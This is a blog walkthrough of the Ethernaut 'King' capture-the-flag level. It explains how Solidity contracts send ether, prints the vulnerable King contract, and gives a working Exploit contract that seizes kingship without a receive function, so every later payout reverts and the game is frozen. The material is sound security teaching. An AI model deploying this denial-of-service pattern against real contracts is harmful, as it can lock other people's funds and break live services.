Ethernaut - Walkthrough for Noobs - 9 - King👑

Ethernaut - Walkthrough for Noobs - 9 - King👑

·

4 min read

This is a good albeit easy challenge since this begins to teach us regarding the optimal methods to send ether to others in a contract.

Objective: The challenge below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD

Such a fun game. Your goal is to break it.

When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.

Our goal is to hijack/break the contract, such that nobody in the future can send eth to this contract again and gain kingship.

Background

There are in total three ways to send ether to other contracts.

  1. transfer: requires '2300' gas and sends some amount of ether from sender to receiver. The transfer function reverts if the sender does not have enough ether or the receiver rejects out ether.

    This is of relevance to us.

     receiverAddress.transfer(amount) //this is our point of attack.
    
  2. send : requires '2300' gas and sends some amount of ether from sender to receiver. If the send function fails, it does not revert but rather returns a boolean, i.e. false.

     receiverAddress.send(amount)
    
  3. call: This is a low-level function of the upper two, it's flexible but comes up with various possible problems like 're-entrancy'. We will look into it in the next challenge.

     (bool sent, bytes memory data) = receiverAddress.call{value: amount}("");
     //sent ---> return true or false, depending on the success of execution of call function. 
     //data --->  stores the data returned
     //"" ---> since it is empty, it will invoke the fallback/receive function.
    

Note: call in combination with re-entrancy guard is the recommended method to use to send ether after December 2019.

More info

Code of Importance

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
//state variables
  address king; , //stores address of the king
  uint public prize; //stores the prize
  address public owner; //stores address of the owner

  constructor() payable {
    owner = msg.sender;//initializes msg.sender as owner
    king = msg.sender;//initialises king as msg.sender
    prize = msg.value;//initialises prize as msg.value
  }

  receive() external payable { //receive function
    require(msg.value >= prize || msg.sender == owner); //we must send greater than the previous king to become the king, also owner canvbypass this, which is a security flaw but not relevant in the challege. 
    payable(king).transfer(msg.value); //tranfers the amount sent by the sender to previous king
    king = msg.sender; //makes the person who has sent the amount the new king. 
    prize = msg.value; //now the prize has also updated, essentially inflating the prize, everytime someone becomes a king. 
  }

  function _king() public view returns (address) {
    return king; //checks who is the current king. 
  }
}

Since we know that transfer the function consumes 2300 gas and reverts if it cannot execute the transaction. This is interesting.

So, If hypothetically, we become king and get the transfer function to send Ether to a contract that does not receive ether, the function will revert, essentially rendering the contract unusable.

Here is the plan of attack:

  1. Create a contract, send ether to the King Contract, and become the king.

  2. But this new contract will not have any receive function.

  3. When we submit the instance, the level will try to regain kingship, by sending some prize amount to the contract greater or equivalent to the prize sent by us.

  4. Now, the transfer function will try to send that prize to our contract, but our contract not be able to receive it, since we will have any receive/fallback function.

  5. The transfer function will revert, hence we will remain the king.

  6. McUUAAAHHHHHH!

Solution

  1. Open up Remix IDE.

  2.   // SPDX-License-Identifier: MIT
      pragma solidity ^0.8.0;
    
      contract Exploit{
    
          constructor(address payable _kingAddress) payable {
              _kingAddress.call{value: msg.value}("");
          }
      //this sends ether to the king contract, during the construction of contract and has no receive function. 
      }
    
  3. In Remix, after compiling, put the level instance in _kingAddress in the deploy section.

  4. Switch to Injected provider, and put the value as 3000000000000000 Wei. This is more than required, but elite mentality we are kings, let's splurge a little here guys.

  5. Deploy the contract.

  6. Check if you are king in the console.

await contract._king()
  1. Submit Instance

King👑

Â